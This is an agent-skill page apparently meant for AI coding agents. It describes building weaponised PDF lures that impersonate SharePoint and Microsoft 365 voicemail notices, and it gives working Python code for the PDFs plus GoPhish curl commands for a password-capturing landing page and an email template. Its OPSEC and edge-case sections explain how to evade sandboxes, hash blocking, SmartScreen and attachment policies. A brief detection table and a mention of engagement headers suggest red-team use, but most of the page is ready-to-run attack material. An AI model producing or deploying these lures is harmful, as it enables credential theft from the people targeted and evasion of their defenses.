# PDF Credential Harvest > Weaponized PDF attachments that redirect victims to fake authentication portals (SharePoint, M365, Google Workspace) — no exploit, no macro, just a convincing document with embedded links to a credential-capture page. - Skill: `purpleailab/pdf-credential-harvest` (Agent Skill) - Install (CLI): `npx skillmds@latest add purpleailab/pdf-credential-harvest` - Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/pdf-credential-harvest/raw - Safety review: pending - Works with: Claude Code, Claude.ai, OpenAI Codex - Category: Security - Author: purpleailab (https://skillmd.com/u/purpleailab) - Updated: 2026-09-17 - Page: https://skillmd.com/skills/purpleailab/pdf-credential-harvest --- # PDF Credential Harvest A weaponised PDF requires no exploit and no macro — it is a pixel-perfect document themed as a SharePoint sharing notification, Microsoft 365 voicemail, or similar business pretext. The PDF contains an embedded link (button or full-page overlay) pointing at a credential-capture landing page. Because the PDF itself is benign (no JavaScript, no embedded files), it passes most sandbox detonation. ## Prerequisites - Python `fpdf2` or `reportlab` in the sandbox. - GoPhish campaign infrastructure configured (`gophish-campaign`). - A credential-harvest landing page on a `lookalike-domain`. - Microsoft-branded assets (logo SVG/PNG) for template fidelity. - The `lure-deconfliction` handshake COMPLETE. ## Quick Reference ```bash # Generate a SharePoint-themed PDF with harvest link python3 /workspace/gen_pdf_lure.py \ --template sharepoint \ --url "https://login./auth?id={{.RId}}" \ --output /workspace/SharedDocument.pdf # Strip metadata exiftool -all= /workspace/SharedDocument.pdf # Upload to GoPhish as email attachment curl -sk -H "Authorization: Bearer $GOPHISH_API_KEY" \ -H 'Content-Type: application/json' \ "$GOPHISH_API/templates/" -d @/workspace/template_with_pdf.json ``` ## MITRE ATT&CK Mapping | Technique | ID | Usage | |---|---|---| | Phishing: Spearphishing Attachment | T1566.001 | PDF delivered as email attachment | | User Execution: Malicious File | T1204.002 | Victim opens PDF and clicks embedded link | | Phishing for Information: Spearphishing Link | T1598.003 | Link leads to credential-capture portal | ## 1. SharePoint-Themed PDF Mimics the "Someone shared a document with you" SharePoint notification: ```python from fpdf import FPDF class SharePointPDF(FPDF): def header(self): self.set_fill_color(0, 120, 212) # Microsoft blue self.rect(0, 0, 210, 45, 'F') self.set_font("Helvetica", "B", 18) self.set_text_color(255, 255, 255) self.set_y(12) self.cell(0, 10, "SharePoint", align="C") HARVEST = "https://login./auth?id=" pdf = SharePointPDF() pdf.add_page() pdf.set_y(55) pdf.set_text_color(0, 0, 0) pdf.set_font("Helvetica", "B", 14) pdf.cell(0, 10, " shared a file with you", ln=True, align="C") pdf.ln(5) pdf.set_font("Helvetica", "", 11) pdf.multi_cell(0, 6, "You have received a secure document via SharePoint Online. " "Click the button below to view the document. You may be asked " "to verify your identity.") pdf.ln(10) # Clickable button pdf.set_fill_color(0, 120, 212) pdf.set_text_color(255, 255, 255) pdf.set_font("Helvetica", "B", 13) bw, bh = 70, 12 bx = (210 - bw) / 2 pdf.set_xy(bx, pdf.get_y()) pdf.cell(bw, bh, "Open Document", align="C", fill=True, link=HARVEST) pdf.ln(20) pdf.set_text_color(120, 120, 120) pdf.set_font("Helvetica", "I", 8) pdf.cell(0, 5, "Microsoft Corporation - One Microsoft Way, Redmond, WA", align="C") pdf.output("/workspace/SharedDocument.pdf") ``` ## 2. M365 Voicemail-Themed PDF Mimics a Microsoft 365 voicemail notification — high urgency, short content, single "Play Voicemail" button: ```python from fpdf import FPDF HARVEST = "https://login./auth?id=" pdf = FPDF() pdf.add_page() pdf.set_fill_color(243, 242, 241) pdf.rect(0, 0, 210, 297, 'F') pdf.set_y(40) pdf.set_font("Helvetica", "B", 16) pdf.set_text_color(50, 50, 50) pdf.cell(0, 10, "You have a new voicemail", ln=True, align="C") pdf.ln(4) pdf.set_font("Helvetica", "", 11) pdf.set_text_color(80, 80, 80) pdf.cell(0, 7, "From: ", ln=True, align="C") pdf.cell(0, 7, "Duration: 0:47", ln=True, align="C") pdf.cell(0, 7, "Received: ", ln=True, align="C") pdf.ln(12) pdf.set_fill_color(0, 120, 212) pdf.set_text_color(255, 255, 255) pdf.set_font("Helvetica", "B", 13) bw, bh = 60, 12 pdf.set_x((210 - bw) / 2) pdf.cell(bw, bh, "Play Voicemail", align="C", fill=True, link=HARVEST) pdf.output("/workspace/Voicemail.pdf") ``` ## 3. Full-Page Click Overlay Make the entire PDF page a single clickable link so any click anywhere opens the harvest URL — no button needed, just a page-sized annotation: ```python from fpdf import FPDF HARVEST = "https://login./auth?id=" pdf = FPDF() pdf.add_page() # Render the visual content (logo, text, etc.) pdf.set_font("Helvetica", "", 12) pdf.cell(0, 10, "Loading secure document...", align="C") # Full-page link annotation pdf.link(0, 0, 210, 297, HARVEST) pdf.output("/workspace/FullPageLure.pdf") ``` ## 4. Credential-Capture Landing Page The harvest page clones the target's SSO portal. Configure in GoPhish: ```bash API="https://127.0.0.1:3333/api" H="Authorization: Bearer $GOPHISH_API_KEY" # M365-themed landing page curl -sk -H "$H" -H 'Content-Type: application/json' "$API/pages/" -d '{ "name": "m365-login", "html": "Sign in - Microsoft

Sign in

", "capture_credentials": true, "capture_passwords": true, "redirect_url": "https://login.microsoftonline.com" }' ``` ## 5. GoPhish Email Template with PDF Attachment ```bash # Create template referencing the PDF attachment curl -sk -H "$H" -H 'Content-Type: application/json' "$API/templates/" -d '{ "name": "sharepoint-share", "subject": " shared \"Q3 Report\" with you", "html": "

Hi {{.FirstName}},

Please review the attached document.

Microsoft SharePoint Online {{.Tracker}}

", "attachments": [{ "name": "SharedDocument.pdf", "content": "", "type": "application/pdf" }] }' ``` ## OPSEC - **Strip PDF metadata** before delivery: `exiftool -all= -overwrite_original /workspace/*.pdf` - **No JavaScript in the PDF** — JS triggers sandbox detonation in Proofpoint / Mimecast / Defender. Links-only PDFs pass. - **Randomize PDF structure**: vary object order, producer string, and creation dates across waves to avoid hash-based blocking. - **File name**: match the pretext (e.g., `SharedDocument.pdf`, `Voicemail_.pdf`). Avoid `payload.pdf`. - Send rate matches `opsec_level` (stealth ≤2/h, standard ≤20/h). - Every template carries the engagement header + opt-out link. ## Tools & Resources | Tool | Purpose | |---|---| | `fpdf2` (Python) | PDF generation with clickable link annotations | | `reportlab` (Python) | Advanced PDF generation with richer layout | | GoPhish | Campaign delivery, tracking, credential capture | | `exiftool` | Metadata stripping before delivery | | `wkhtmltopdf` | HTML-to-PDF conversion for complex templates | ## Detection Signatures | Detection | Source | Description | |---|---|---| | PDF with external URI annotation | Email gateway | PDF link objects pointing at non-corporate domains | | Credential submission from phish page | GoPhish / proxy logs | POST to harvest domain with username + password | | Unusual PDF attachment from external sender | Mail flow rules | PDFs from first-time senders with link annotations | | Browser navigation to lookalike domain | Proxy / DNS logs | Domain not in corporate allow-list | ## Error Handling & Edge Cases - **PDF renders blank in webmail preview**: some webmail clients (OWA, Gmail) render PDFs inline without honouring link annotations. Mitigation: add visible "Click here" text with underline styling. - **Harvest domain flagged by SmartScreen**: rotate to a backup domain or use a redirector chain (`lookalike → redirector → harvest`). - **PDF blocked by file-type policy**: rename extension to `.PDF` (case variation) or deliver inside a ZIP. Check target's mail policy. - **reportlab vs fpdf2**: `reportlab` supports more advanced layout (tables, SVG embedding) but is heavier. Use `fpdf2` for simple single-page lures. ## Decision Gate ``` IF target email gateway detonates PDF link annotations → use full-page click overlay (harder for sandbox to detect link area) → OR deliver PDF inside password-protected ZIP ELIF target org uses SharePoint heavily → use SharePoint-themed template ELIF voicemail pretext matches target culture → use M365 voicemail template ELIF target uses Google Workspace → adapt template to Google Drive sharing theme ELSE → generic "secure document" theme with corporate branding ``` ## Evidence Captured credentials → `Credential` node linked to the `User` node with the GoPhish tracking id. Save the PDF template hash and GoPhish results under `evidence/phisher/-pdf-harvest.json`.